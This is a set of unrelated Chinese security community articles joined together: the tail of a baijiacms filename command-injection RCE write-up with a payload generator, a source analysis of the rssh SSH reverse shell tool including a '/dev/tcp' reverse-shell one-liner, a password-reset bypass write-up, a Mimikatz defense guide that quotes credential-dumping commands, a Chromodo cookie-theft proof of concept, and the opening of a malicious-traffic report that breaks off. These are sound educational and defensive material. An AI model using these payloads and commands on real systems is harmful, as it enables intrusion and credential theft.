其要执行的命令是如下的内容
convert -quality 100
/Applications/MAMP/htdocs/baijiacms/attachment/;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;/2023/02/wYR5UQOPAzjEUT6.;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;
/Applications/MAMP/htdocs/baijiacms/attachment/;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;/2023/02/wYR5UQOPAzjEUT6.;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;
该函数遇到;的时候就会去重新执行我们的echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;命令，从而造成RCE。
使用Github中脚本：
import base64
webpath = "/yourPath"
cmd = input("cmd>>> ")
b64cmd = base64.b64encode(cmd.encode()).decode()
payload = f"echo {b64cmd}|base64 -d|bash"
print(payload)
payload = payload.replace(' ','${IFS}')
print(payload)
name = input("name>>>")
payload = f"{name}.;{payload};"
print(payload)
with open(file=webpath+payload,mode='w')as f:
f.write('1')
成功RCE | 社区文章 |
**作者：spoock**
**来源：[<https://blog.spoock.com/2019/08/11/rssh/>](https://blog.spoock.com/2019/08/11/rssh/
"<https://blog.spoock.com/2019/08/11/rssh/>")**
## 1 说明
本文旨在分析[rssh](https://github.com/andrew-d/rssh)的源代码来学习利用ssh隧道来反弹shell.整个rssh只有１个347行的main文件，所以整体的逻辑结构也比较好分析．关于SSH端口转发的知识可以看[实战SSH端口转发](https://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html)这篇文章，非常清晰． 使用ssh进行隧道的好处：
1.SSH 会自动加密和解密所有 SSH 客户端与服务端之间的网络数据，同时能够将其他 TCP 端口的网络数据通过 SSH
链接来转发，并且自动提供了相应的加密及解密服务，这样能够避免被NIDS检测到；
2.SSH基本上在每个机器上面存在，不需要额外的条件;
rssh的说明是:
> This program is a simple reverse shell over SSH. Essentially, it opens a
> connection to a remote computer over SSH, starts listening on a port on the
> remote computer, and when connections are made to that port, starts a
> command locally and copies data to and from it.
翻译一下就是:rssh是一个利用SSH反弹shell的程序．原理就是通过SSH在远程服务器上监听一个端口，并执行远程服务器发送过来的数据(就相当于是代码执行了)
## 2 运行
在本地运行: go run main.go -a ‘127.0.0.1:2222’ -u user -i id_remote_rsa
IP.OF.REMOTE.MACHINE 正常运行就会如下的结果：
go run main.go -a '127.0.0.1:2222' -u USERNAME -p PASSWORD IP.OF.REMOTE.MACHINE
[ info ] listening for connections on IP.OF.REMOTE.MACHINE:22 (remote listen address: 127.0.0.1:2222)
此时，在服务器上面运行(IP.OF.REMOTE.MACHINE)运行 nc 127.0.0.1 2222 即可得到反弹shell.
服务器端
$ nc -c 127.0.0.1 2222
$ id
uid=1000(spoock) gid=1000(spoock) groups=1000(spoock),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
客户端
$ go run main.go -a '127.0.0.1:2222' -u USERNAME -p PASSWORD IP.OF.REMOTE.MACHINE
[ info ] listening for connections on IP.OF.REMOTE.MACHINE:22 (remote listen address: 127.0.0.1:2222)
[ info ] accepted connection from: 127.0.0.1:33016
## 3 分析
### 3.1 init & log
func init() {
// Global flags
pf := mainCommand.PersistentFlags()
pf.BoolVarP(&flagVerbose, "verbose", "v", false, "be more verbose")
pf.BoolVarP(&flagQuiet, "quiet", "q", false, "be quiet")
pf.BoolVarP(&flagTrace, "trace", "t", false, "be very verbose")
// Local flags
flags := mainCommand.Flags()
flags.StringVarP(&flagSSHUsername, "username", "u", os.Getenv("USER"),
"connect as the given user")
flags.StringVarP(&flagSSHPassword, "password", "p", "",
"use the given password to connect")
flags.StringVarP(&flagSSHIdentityFile, "identity-file", "i", "",
"use the given SSH key to connect to the remote host")
flags.StringVarP(&flagAddr, "address", "a", "localhost:8080",
"address to listen on on the remote host")
flags.StringVarP(&flagCommand, "command", "c", "/bin/sh",
"command to run")
}
func preRun(cmd *cobra.Command, args []string) {
var cl *colog.CoLog
logger, cl = makeLogger()
if flagTrace {
cl.SetMinLevel(colog.LTrace)
} else if flagVerbose {
cl.SetMinLevel(colog.LDebug)
} else if flagQuiet {
cl.SetMinLevel(colog.LWarning)
} else {
cl.SetMinLevel(colog.LInfo)
}
}
在init()函数中主要是对一些参数的解释说明，同时也有对参数的校验的功能．
* flagVerbose flagQuiet flagTrace 三者是表示日志的详细程度
* username password identity-file 表示ssh登录认证的方法 可以使用那个用户名密码的方式也可以使用是公钥登录
* address 远程服务器需要监听的端口，一般写为localhost:2222 或者是127.0.0.1:222 (写成localhost或者是127.0.0.1)
* command 默认值是/bin/sh，是用来执行命令的shell环境
### 3.2 runMain
runMain函数是rssh的主体．我们以`go run main.go -a '127.0.0.1:2222' -u USERNAME -p
PASSWORD IP.OF.REMOTE.MACHINE`为例来说明参数的含义
#### 3.2.1 sshHost
if len(args) != 1 {
log.Printf("error: invalid number of arguments (expected 1, got %d)", len(args))
os.Exit(1)
}
sshHost := args[0]
// Add a default ':22' after the end if we don't have a colon.
if !strings.Contains(sshHost, ":") {
sshHost += ":22"
}
判断远程地址需要存在，默认加上22端口．
#### 3.2.2 config.Auth
// Password auth or prompt callback
if flagSSHPassword != "" {
log.Println("trace: adding password auth")
config.Auth = append(config.Auth, ssh.Password(flagSSHPassword))
} else {
log.Println("trace: adding password callback auth")
config.Auth = append(config.Auth, ssh.PasswordCallback(func() (string, error) {
prompt := fmt.Sprintf("%s@%s's password: ", flagSSHUsername, sshHost)
return speakeasy.Ask(prompt)
}))
}
// Key auth
if flagSSHIdentityFile != "" {
auth, err := loadPrivateKey(flagSSHIdentityFile)
if err != nil {
log.Fatalf("error: could not load identity file '%s': %s",
flagSSHIdentityFile, err)
}
log.Println("trace: adding identity file auth")
config.Auth = append(config.Auth, auth)
}
判断是通过用户名密码还是publickey的方式登录，分别进行不同的初始化的操作， **config.Auth = append(config.Auth,
ssh.Password(flagSSHPassword))** 或者是 **auth, err :=
loadPrivateKey(flagSSHIdentityFile);config.Auth = append(config.Auth, auth)**
一个有意思的地方，如果是这种方式 **go run main.go -a ‘127.0.0.1:2222’ -u USERNAME
IP.OF.REMOTE.MACHINE** 参数中没有密码，那么最终就会执行：
log.Println("trace: adding password callback auth")
config.Auth = append(config.Auth, ssh.PasswordCallback(func() (string, error) {
prompt := fmt.Sprintf("%s@%s's password: ", flagSSHUsername, sshHost)
return speakeasy.Ask(prompt)
}))
此时实际的运行效果是:
go run main.go -a '127.0.0.1:2222' -u USERNAME IP.OF.REMOTE.MACHINE -t
[ trace ] adding password callback auth
[ debug ] attempting 2 authentication methods ([0x666500 0x666650])
[email protected]:22's password: ［输入远程服务器SSH的密码］
[ info ] listening for connections on IP.OF.REMOTE.MACHINE:22 (remote listen address: 127.0.0.1:2222)
这种方式通过密码登录的方式同样也是可以的．
#### 3.2.3 sshConn
sshConn, err := ssh.Dial("tcp", sshHost, config)
if err != nil {
log.Fatalf("error: error dialing remote host: %s", err)
}
defer sshConn.Close()
通过`ssh.Dial("tcp", sshHost, config)`与远程服务器上面创建ssh链接．此时的网络状态是:
ss -anptw | grep 22
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp ESTAB 0 0 172.16.1.2:60270 IP.OF.REMOTE.MACHINE:22 users:(("main",pid=29114,fd=5))
$ ps -ef | grep 29114
spoock 29114 29034 0 15:46 pts/2 00:00:00 /tmp/go-build970759084/b001/exe/main -a 127.0.0.1:2222 -u USERNAME -p PASSWORD IP.OF.REMOTE.MACHINE -t
与代码的执行情况是一致的．
#### 3.2.4 sshConn.Listen
这个就是rssh中的核心部分．代码如下：
// Listen on remote
l, err := sshConn.Listen("tcp", flagAddr)
if err != nil {
log.Fatalf("error: error listening on remote host: %s", err)
}
其中的flagAddr就是参数中设置的127.0.0.1:2222，这就相当于在ssh的链接中再次监听了本地(此处的本地指的是服务器的地址)的2222端口．
跟着进入到ssh.Listen实现中： `vendor/golang.org/x/crypto/ssh/tcpip.go`
// Listen requests the remote peer open a listening socket on
// addr. Incoming connections will be available by calling Accept on
// the returned net.Listener. The listener must be serviced, or the
// SSH connection may hang.
func (c *Client) Listen(n, addr string) (net.Listener, error) {
laddr, err := net.ResolveTCPAddr(n, addr)
if err != nil {
return nil, err
}
return c.ListenTCP(laddr)
}
这个函数的注释：Listen()函数创建了一个TCP连接listener，这个listener必须能够被维持，否则ssh连接就会被挂住．
进行跟踪进入ListenTCP, `vendor/golang.org/x/crypto/ssh/tcpip.go`
// ListenTCP requests the remote peer open a listening socket
// on laddr. Incoming connections will be available by calling
// Accept on the returned net.Listener.
func (c *Client) ListenTCP(laddr *net.TCPAddr) (net.Listener, error) {
if laddr.Port == 0 && isBrokenOpenSSHVersion(string(c.ServerVersion())) {
return c.autoPortListenWorkaround(laddr)
}
m := channelForwardMsg{
laddr.IP.String(),
uint32(laddr.Port),
}
// send message
ok, resp, err := c.SendRequest("tcpip-forward", true, Marshal(&m))
if err != nil {
return nil, err
}
if !ok {
return nil, errors.New("ssh: tcpip-forward request denied by peer")
}
// If the original port was 0, then the remote side will
// supply a real port number in the response.
if laddr.Port == 0 {
var p struct {
Port uint32
}
if err := Unmarshal(resp, &p); err != nil {
return nil, err
}
laddr.Port = int(p.Port)
}
// Register this forward, using the port number we obtained.
ch := c.forwards.add(*laddr)
return &tcpListener{laddr, c, ch}, nil
}
1.合法性校验
if laddr.Port == 0 && isBrokenOpenSSHVersion(string(c.ServerVersion())) {
return c.autoPortListenWorkaround(laddr)
}
func (c *Client) autoPortListenWorkaround(laddr *net.TCPAddr) (net.Listener, error) {
var sshListener net.Listener
var err error
const tries = 10
for i := 0; i < tries; i++ {
addr := *laddr
addr.Port = 1024 + portRandomizer.Intn(60000)
sshListener, err = c.ListenTCP(&addr)
if err == nil {
laddr.Port = addr.Port
return sshListener, err
}
}
return nil, fmt.Errorf("ssh: listen on random port failed after %d tries: %v", tries, err)
}
如果检测到转发的端口或者是openssh的版本存在问题，就会调用autoPortListenWorkaround()函数任意创建一个端口．
2.通过ssh转发端口
m := channelForwardMsg{
laddr.IP.String(),
uint32(laddr.Port),
}
// send message
ok, resp, err := c.SendRequest("tcpip-forward", true, Marshal(&m))
if err != nil {
return nil, err
}
if !ok {
return nil, errors.New("ssh: tcpip-forward request denied by peer")
}
关键代码就是 **c.SendRequest(“tcpip-forward”, true, Marshal( &m))**通过ssh的tcpip-forward转发ｍ(ｍ中有需要转发的端口和协议)
3.返回Listener
// Register this forward, using the port number we obtained.
ch := c.forwards.add(*laddr)
return &tcpListener{laddr, c, ch}, nil
在创建了连接完毕之后，服务器端的网络状态是:
$ ss -anptw | grep 2222
tcp LISTEN 0 128 127.0.0.1:2222 *:*
$ ss -anptw | grep 22
tcp ESTAB 0 0 172.27.0.12:22 222.64.99.149:2279
利用发现此时远程服务器会监听在2222端口上，同时也存在了一条ssh的网络链接．
#### 3.2.5 Accept
// Start accepting shell connections
log.Printf("info: listening for connections on %s (remote listen address: %s)", sshHost, flagAddr)
for {
conn, err := l.Accept()
if err != nil {
log.Printf("error: error accepting connection: %s", err)
continue
}
log.Printf("info: accepted connection from: %s", conn.RemoteAddr())
go handleConnection(conn)
}
通过 **l, err := sshConn.Listen(“tcp”, flagAddr)** 得到ssh转发的连接之后，开始进行监听conn, err
:= l.Accept()．对于建立之后的连接使用handleConnection()处理
### 3.3 handleConnection
由于整个handleConnection()的整个函数较长，分部对其中的代码进行分析．
#### 3.3.1 Create PTY
// Create PTY
pty, tty, err := pty.Open()
if err != nil {
log.Printf("error: could not open PTY: %s", err)
return
}
defer tty.Close()
defer pty.Close()
// Put the TTY into raw mode
_, err = terminal.MakeRaw(int(tty.Fd()))
if err != nil {
log.Printf("warn: could not make TTY raw: %s", err)
}
创建一个pty，用于执行从远程服务器上面发送过来的数据．
#### 3.3.2 command
// Start the command
cmd := exec.Command(flagCommand) //flagCommand:/bin/sh
// Hook everything up
cmd.Stdout = tty
cmd.Stdin = tty
cmd.Stderr = tty
if cmd.SysProcAttr == nil {
cmd.SysProcAttr = &syscall.SysProcAttr{}
}
cmd.SysProcAttr.Setctty = true
cmd.SysProcAttr.Setsid = true
// Start command
err = cmd.Start()
上面这段代码就相当与创建了一个交互式的反弹shell,类似与 **bash -i >& /dev/tcp/ip/port 0>&1**
在客户端创建完毕链接之后，在服务器端运行 nc -c 127.0.0.1 2222，连接到本地的2222端口．此时服务器的网络状态是:
ss -anptw | grep 2222
tcp LISTEN 0 128 127.0.0.1:2222 *:*
tcp ESTAB 0 0 127.0.0.1:59070 127.0.0.1:2222 users:(("nc",pid=13449,fd=3))
tcp ESTAB 0 0 127.0.0.1:2222 127.0.0.1:59070
$ ps -ef | grep 13449
USERNAME 13449 2642 0 17:12 pts/2 00:00:00 nc -c 127.0.0.1 2222
$ ls -al /proc/13449/fd
total 0
dr-x------ 2 USERNAME USERNAME 0 Jun 18 17:12 .
dr-xr-xr-x 9 USERNAME USERNAME 0 Jun 18 17:12 ..
lrwx------ 1 USERNAME USERNAME 64 Jun 18 17:12 0 -> /dev/pts/2
lrwx------ 1 USERNAME USERNAME 64 Jun 18 17:12 1 -> /dev/pts/2
lrwx------ 1 USERNAME USERNAME 64 Jun 18 17:12 2 -> /dev/pts/2
lrwx------ 1 USERNAME USERNAME 64 Jun 18 17:12 3 -> socket:[169479331]
可以发现在服务器端的59070连接了2222端口，进程是13449．由于从客户端接受过来的数据都是经过ssh解密的，所以对于HIDS来说是很难发现异常的．
此时客户端的网络连接状态是：
$ ss -anptw | grep 22
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp ESTAB 0 0 172.16.1.2:41424 40.77.226.250:443 users:(("code",pid=5822,fd=49))
tcp ESTAB 0 0 172.16.1.2:37930 40.77.226.250:443 users:(("code",pid=5822,fd=41))
tcp ESTAB 0 0 172.16.1.2:33198 IP.OF.REMOTE.MACHINE:22 users:(("main",pid=32069,fd=5))
tcp ESTAB 0 0 172.16.1.2:57664 40.77.226.250:443 users:(("code",pid=5822,fd=40))
tcp LISTEN 0 128 [::]:22 [::]:*
$ ps -ef | grep 32393
spoock 32393 32069 0 17:12 pts/4 00:00:00 /bin/sh
$ ls -al /proc/32393/fd
dr-x------ 2 spoock spoock 0 Jun 18 17:15 .
dr-xr-xr-x 9 spoock spoock 0 Jun 18 17:15 ..
lrwx------ 1 spoock spoock 64 Jun 18 17:15 0 -> /dev/pts/4
lrwx------ 1 spoock spoock 64 Jun 18 17:15 1 -> /dev/pts/4
lrwx------ 1 spoock spoock 64 Jun 18 17:15 10 -> /dev/tty
lrwx------ 1 spoock spoock 64 Jun 18 17:15 2 -> /dev/pts/4
$ ls -al /proc/32069/fd
dr-x------ 2 spoock spoock 0 Jun 18 17:01 .
dr-xr-xr-x 9 spoock spoock 0 Jun 18 17:01 ..
lrwx------ 1 spoock spoock 64 Jun 18 17:01 0 -> /dev/pts/2
lrwx------ 1 spoock spoock 64 Jun 18 17:01 1 -> /dev/pts/2
lrwx------ 1 spoock spoock 64 Jun 18 17:01 2 -> /dev/pts/2
lrwx------ 1 spoock spoock 64 Jun 18 17:01 3 -> 'socket:[559692]'
lrwx------ 1 spoock spoock 64 Jun 18 17:01 4 -> 'anon_inode:[eventpoll]'
lrwx------ 1 spoock spoock 64 Jun 18 17:01 5 -> 'socket:[559693]'
lrwx------ 1 spoock spoock 64 Jun 18 17:15 6 -> /dev/ptmx
lrwx------ 1 spoock spoock 64 Jun 18 17:15 7 -> /dev/pts/4
客户端的含义就是：在ssh连接进程中派生出了sh进程，在sh进程中执行命令，但是由于执行的命令全部都是通过ssh加密发送的，在流量上是无法看到。
以上就是整个rssh的源代码的分析了。
## 4 总结
本文通过对[rssh](https://github.com/andrew-d/rssh)的分析，对ssh的端口转发有了一个清晰的认识，同时对如何利用ssh隧道完成端口转发也有了一定的了解。通过ssh隧道来实现入侵，能够很好地隐藏自己的攻击行为，传统的HIDS和NIDS也很难检测到对应的入侵行为。那么有什么方法能够检测出这种利用ssh隧道的入侵行为呢？如果有任何的想法欢迎大家与我交流。
* * * | 社区文章 |
### 0x00 简介
最近去学着挖洞，涨涨经验和见识。在某个站点挖到了几处任意密码重置漏洞。虽然对大佬们比较简单的漏洞
但对于我来说还是值得写下来。
### 0x01 挖掘过程
先尝试一下正确的验证码，看看响应包
ok,看响应包，应该是采用的前端验证后台响应的数据。
那接下来验证一下看能不能重置,随便输一下验证码
截一下响应包，修改响应包，将返回的数据，改为正确时返回的数据
放行
密码修改成功
### 0x02 总结
虽然呢，这个漏洞可能比较简单。但为了纪念我的第一次，还是决定记录下来。也算是给大家分享一下。 | 社区文章 |
# 如何防御Mimikatz
##### 译文声明
本文是翻译文章，文章来源：medium.com
原文地址：<https://medium.com/blue-team/preventing-mimikatz-attacks-ed283e7ebdd5>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
[Mimikatz](https://github.com/gentilkiwi/mimikatz)能够从内存中提取出明文形式的密码，因此在内部渗透测试或者红队行动中被广泛应用，攻击者也会在攻击活动中大量使用这款工具。尽管微软推出了一个[安全补丁](https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2016/2871997)，该补丁同样适用于版本较老的操作系统（如Windows 2008
Server），但Mimikatz同样能正常工作，并且在许多情况下依旧能够实现横向渗透以及域提升。需要注意的是，Mimikatz只有在以特权用户（如本地管理员）的上下文中运行才能导出凭据以及密码。
## 二、Debug权限
根据微软的说法，debug（调试）权限用来确定哪些用户可以将调试器附加到任意进程或者内核上。默认情况下本地管理员组成员具备此权限。然而，除非本地管理员是个系统程序员，否则他很大概率上不需要具备该权限。
图1. Debug programs权限，赋予本地管理员组成员
默认安装的Windows Server 2016并没有设置这条组策略，这意味着只有本地管理员组成员才能具备该权限。
图2. 组策略中的Debug programs权限
攻击者可以在Mimikatz中执行如下命令确认是否具备该权限：
privilege::debug
图3. 检查是否具备调试权限
Mimikatz需要该权限来与LSASS之类的进程交互，因此我们需要限制该权限，只赋予真正需要该权限的人，在本地管理员组中删除该权限。我们可以设置组策略，删除包含的用户或组成员，禁用`SeDebugPrivilege`：
Group Policy Management Editor -> Windows Settings -> Security Settings -> Local Policies -> User Rights Assignment -> Debug programs -> Define these policy settings:
图4. 禁用SeDebugPrivilege
当全域都部署该策略后，即使攻击者成功提升成为本地管理员，也无法使用这个权限。Mimikatz会返回如下错误消息：
图5. Mimikatz返回调试权限被禁用消息
## 三、WDiget
Windows从XP起开始引入[WDigest](https://technet.microsoft.com/pt-pt/library/cc778868%28v=ws.10%29.aspx?f=255&MSPPError=-2147217396)协议，其目的是与HTTP协议配合用于身份验证。微软在多个版本的Windows中都会默认启用该协议（从Windows
XP到Windows 8.0，Windowser Server 2003到Server 2012），这意味着明文密码会存储在LSASS（Local
Security Authority Subsystem Service）中。Mimikatz可以与LSASS交互，使得攻击者可以通过如下命令获取这些凭据：
sekurlsa::wdigest
图6. Mimikatz中的WDigest命令
微软在Windows 8.1、Windows 10、Windows Server 2012 R2以及Server
2016中默认禁用了该协议。如果用户所在的单位在使用类似Windows 7以及Windows Server
2008等老版本系统，微软也提供了一个[补丁](https://support.microsoft.com/en-us/kb/2871997)（KB2871997），允许管理员启用或者禁用WDigest协议。打上该补丁后，我们可以通过注册表来确认WDigest是否处于禁用状态。
HKEY_LOCAL_MACHINESystemCurrentControlSetControlSecurityProvidersWDigest
图7. WDigest处于禁用状态
我们需要将`Negotiate`以及`UseLogonCredential`键值设为0，以禁用该协议。需要注意的是，在新版操作系统（Windows
Server 2016、Windows 10等）中，注册表中并没有`UseLogonCredential`这个键值。根据[Dave
Kennedy](https://twitter.com/hackingdave)的这篇[文章](https://www.trustedsec.com/2015/04/dumping-wdigest-creds-with-meterpreter-mimikatzkiwi-in-windows-8-1/)，具备本地管理员权限的攻击者可以修改注册表，启用WDigest，抓取这些凭据。因此，如果禁用该协议后这些键值被设置为1，那么表示系统已受到攻击。我们应该一直监控对注册表的修改，以便在早期就得到警报，捕获攻击行为。
如果该协议被禁用，攻击者尝试从WDigest中获取明文密码时会看到如下错误信息：
图8. 禁用WDigest后的Mimikatz信息
## 四、保护LSA
LSASS（Local Security Authority Server
Service）会在本地及远程登录过程中验证用户身份并部署本地安全策略。微软在Windows
8.1及更高版本的系统中为LSA提供了增强防护机制，避免不可信的进程读取该进程内存或者注入代码。攻击者可以执行如下Mimmikatz命令与LSA交互，获取存储在LSA内存中的明文密码：
sekurlsa::logonPasswords
图9. Mimikatz与LSA交互
我们建议Windows Server 2012 R2以及Windows
8.1之前的系统启用LSA保护机制，避免Mimikatz读取LSASS进程的特定内存空间。我们可以在注册表中创建`RunAsPPL`键值，并将该值设为1启动保护：
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLSA
图10. 启用LSA保护
启用LSA保护后，攻击者会看到如下错误：
图11. 启用LSA保护后的Mimikatz
## 五、受限管理员模式
微软自Windows Server 2012
R2开始引入了一个新功能，可以避免LSASS在RDP会话中以明文形式存储本地管理员的凭据。虽然LSA防护机制能够避免Mimikatz获取相关凭据，官方还是推荐使用这个新增功能，避免攻击者通过禁用LSA防护来获取密码。
在注册表中，创建一个`DisableRestrictedAdmin`键值并设置为0，就可以在受限管理员模式下接收RDP会话。此外，我们也应该创建一个`DisableRestrictedAdminOutboundCreds`键值并将其设置为1，避免已使用受限管理员模式的RDP会话执行自动化网络身份认证操作。如果不设置该键值，那么就会启用管理员出站凭据。
HKEY_LOCAL_MACHINESystemCurrentControlSetControlLsa
图12. 启用受限管理员模式
我们需要在域中强制启用“Restrict delegation of credentials to remote
servers”（限制对远程服务器的凭据委派）策略，以确保所有出站RDP会话都使用受限管理员模式，避免泄露凭据。
图13. 组策略限制凭据委派
需要使用`Require Restricted Admin`设置来启用该策略。
图14. 限制凭据委派，启用受限管理员
一旦启用该策略，管理员可以通过“运行”对话框，使用如下参数以受限管理员方式RDP远程登陆到工作站及服务器上。
图15. 以受限管理员方式运行mstsc
也可以通过命令行来执行。
图16. 命令行下以受限管理员方式运行mstsc
如果系统版本早于Windows 2012 R2或者Windows 8.1，可以打上微软的KB2871997补丁。
## 六、凭据缓存
如果域控制器处于不可用状态，微软会检查最近已缓存的密码哈希值，以便认证用户身份。这些密码哈希存放于如下注册表路径中：
HKEY_LOCAL_MACHINESECURITYCache
可以运行如下命令利用Mimikatz获取这些哈希：
lsadump::cache
默认情况下Windows会缓存最近10个密码哈希。建议修改如下安全设置，将本地密码缓存数设置为0：
Computer Configuration -> Windows Settings -> Local Policy -> Security Options -> Interactive Logon: Number of previous logons to cache -> 0
图17. 交互式登录不缓存哈希
如果攻击者尝试使用Mimikatz获取这些哈希，则会看到如下错误：
图18. 禁用凭据缓存时Mimikatz的错误信息
## 七、受保护的用户组
微软在Windows Server 2012及更高版本系统中引入了名为“Protected
Users”（受保护用户）的安全组。这个组使得域管理员能够保护该组内的特权用户（如本地管理员）及其他用户仅通过Kerberos来进行域认证。这样就可以防止LSASS中的NTLM密码哈希或者明文凭据被攻击者窃取。
我们可以在活动目录用户及计算机中找到“Protected Users”安全组。
图19. 活动目录中受保护用户安全组
位于该安全组内的账户会自动部署Kerberos认证策略，默认配置如下：
图20. Kerberos默认策略
我们也可以在PowerShell中执行如下命令将其他用户添加到“Protected Users”组内：
Add-ADGroupMember –Identity 'Protected Users' –Members Jane
图21. 通过PowerShell添加账户至受保护用户组中
像Windows Server 2008之类的老版本系统也可以打上KB2871997补丁，拥有这个安全组。
## 八、总结
我们可以使用有效的端点防护解决方案，同时配合上类似AppLocker之类的应用白名单机制来阻止可执行文件、PowerShell以及命令行被恶意执行，添加一个新的安全防护层。即使攻击者成功绕过这些控制机制，他们需要修改注册表（蓝队应该监控某些注册表键值）才能完全发挥Mimikatz的功能，以窃取凭据，而这个过程会生成许多事件，有助于我们检测攻击行为。 | 社区文章 |
# Chromodo浏览器禁用了同源策略，网络安全也随之消失
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://code.google.com/p/google-security-research/issues/detail?id=704>
译文仅供参考，具体内容表达以及含义原文为准。
Comodo（科摩多）是美国的一家软件公司，是世界优秀的IT安全服务提供商和SSL证书的供应商之一，总部设在新泽西州泽西城，成立于1998年。其产品涉及范围较广，包含数字证书，安全软件以及安全周边软件。其免费产品也很多，包括安全套装在内均有免费版。
总的来说，Comodo的产品以严谨出名，防火墙严格的设置规则受到很多用户的喜爱，但该公司的反病毒产品功能并不是很强。
当你安装了Comodo网络安全套件之后，你将发现Comodo会默认安装一款名为Chromodo的新型网页浏览器，并且还会将其设为系统的默认浏览器。除此之外，系统中所有浏览器的快捷方式都会被Chromodo的地址所替换，该浏览器还会从Chrome浏览器中导入所有的设置以及cookie文件等信息。而且浏览器还会在某些情况下劫持主机的DNS设置。
[https://www.comodo.com/home/browsers-toolbars/chromodo-private-internet-browser.php](https://www.comodo.com/home/browsers-toolbars/chromodo-private-internet-browser.php)
Comodo将Chromodo浏览器描述为－“速度最快，安全等级最高，隐私保护最全面的浏览器”。但是实际上，这款浏览器并没有给用户提供任何的网络安全保护。因为他们禁用了同源策略！
具体示例请查看以下代码：
<html>
<head></head>
<body>
<script>
function steal_cookie(obj)
{
// Wait for the page to load
setTimeout(function() {
obj.postMessage(JSON.stringify({
command: "execCode",
code: "(document.cookie)",
}), "*");
}, 2000);
}
</script>
<a href="steal_cookie(window.open('https://ssl.comodo.com/'))">Click Here</a>
</body>
</html>
在此，我们将遵循90天的漏洞披露期限。如果90天之后，该公司没有提供相应的修复补丁，那么我们将会把这个漏洞的详细信息公布出来。 | 社区文章 |
**本文作者：karmayu @云鼎实验室
公众号：[云鼎实验室](https://mp.weixin.qq.com/s/XDoWCH4Y-erwxfCZlbG9Ug "云鼎实验室")**
「天下熙熙，皆为利来；天下攘攘，皆为利往。」太史公一语道尽众生之奔忙。在虚拟的世界，同样有着海量的「众生」，它们默默无闻，它们不知疲倦，它们无穷无尽，同样为了「利」之一字一往无前。其事虽殊，其理一也。且随腾讯安全云鼎实验室揭开这虚拟世界的「众生之相」。
### 一、恶意流量概述
#### 1\. 恶意流量是什么
要定义「恶意流量」，先来看「流量」是什么。说到「流量」，仅在网络领域就存在许多不同的概念：
* 手机流量：每个月给运营商付费获得若干 G 上网流量。
* 网站流量：网站访问量，用来描述一个网站的用户数和页面访问次数。
* 网络流量：通过特定网络节点的数据包和网络请求数量。
在安全领域，研究的主要是网络流量中属于恶意的部分，其中包括网络攻击、业务攻击、恶意爬虫等。恶意流量绝大部分都来自自动化程序，通常通过未经许可的方式侵入、干扰、抓取他方业务或数据。
#### 2\. 为什么研究恶意流量
腾讯云作为国内最大最专业的云厂商之一，如何从海量的网络流量中对恶意流量进行识别，保护客户利益的同时为业界输出优质数据，一直是我们努力的目标。
#### 3\. 恶意流量的研究方法
为了捕获真实的恶意流量，云鼎实验室在全球多个节点部署了蜜罐网络集群，每天捕获数亿次的各类攻击请求。
获取海量真实恶意流量后，再通过对流量的研究和分析，反哺腾讯云对恶意流量的识别和防护能力。
### 二、恶意流量现状
#### 1\. 恶意流量占比
根据国外公司 Distil Networks 发布的报告[1]，2017年机器流量占全网流量的42.20%，其中恶意机器流量占21.80%。
这里「机器」指的是互联网上的爬虫、自动程序或者是模拟器。部分机器流量来自于搜索引擎爬虫、RSS
订阅服务等，属于正常机器流量。另外一部分由自动化攻击、僵尸网络、恶意爬虫等产生，属于恶意机器流量。本文所描述的恶意流量几乎都是自动化的机器流量。
#### 2\. 恶意流量在做什么
从云鼎实验室捕获到的恶意流量数据来看，大致可以分为四个大类，每个大类又可以分为若干个小类，详细划分如下：
**1）网络攻击**
* 端口扫描
扫描服务器常用的端口和指定的端口是否开放，并进一步进行服务器软件指纹探测。
* 登录破解
主要指对服务器 SSH 服务（Linxu）或远程桌面服务（Windows）使用弱口令进行破解。
本系列报告有一篇专门讲述，详见《SSH 暴力破解趋势：从云平台向物联网设备迁移》[2] 。
* 漏洞利用
利用已知或未知漏洞及利用工具（EXP）试图获得服务器权限。
* DDoS 攻击
主要指源自僵尸网络或反射攻击的分布式拒绝服务攻击。
本系列报告有一篇专门讲述，详见《2018上半年互联网 DDoS 攻击趋势分析》[3] 。
* CC 攻击
目的和 DDoS 攻击类似，通过大量访问对方网站中对系统性能消耗较大的页面（如需要进行较复杂的数据库查询），造成数据库或系统卡死，导致对方无法对外提供服务。
**2）帐号攻击**
* 恶意注册
在网站（社交类网站居多）注册大量小号，并持续养号，用于后续谋取利益，尤其是在下面描述的「流量欺诈」领域。
* 帐号扫描
探测某帐号（包括用户名、邮箱、手机号等）是否在某网站注册过，通常是作为「恶意注册」和「撞库攻击」的前置步骤。
* 撞库攻击
使用 A 网站泄漏的帐号密码信息在 B 网站尝试登录，如果成功登录，则撞库攻击成功。由于近年来许多网站发生帐号密码泄漏事件，导致撞库攻击变得非常流行。
* 资产窃取
当撞库攻击成功后，盗取帐号内资产，例如虚拟币、游戏帐号、装备等。
**3）流量欺诈**
* 刷榜
在 AppStore（iOS）和其他 Android 软件市场通过技巧，进行刷下载量、刷评价、刷排行、刷点击、刷关键词等操作。
* 刷粉
主要是在公众号、社交类网站、贴吧等刷粉丝、刷关注等，俗称僵尸粉。
* 刷热度
在公众号、短视频、直播、视频播放等领域刷观看次数、阅读量、访问量、点赞量等等。
* 刷单
在电商类平台刷成单量、商品评论等，达到影响商品排序等目的。
* 刷广告
在广告圈，总流传着这样一句话：“我知道我的广告费有一半是被浪费的，但我不知道究竟是哪一半。”这个定律在互联网广告界亦是如此，乃至更甚。
**4）恶意爬虫**
和遵循 Robots 协议的正规搜索引擎或 RSS
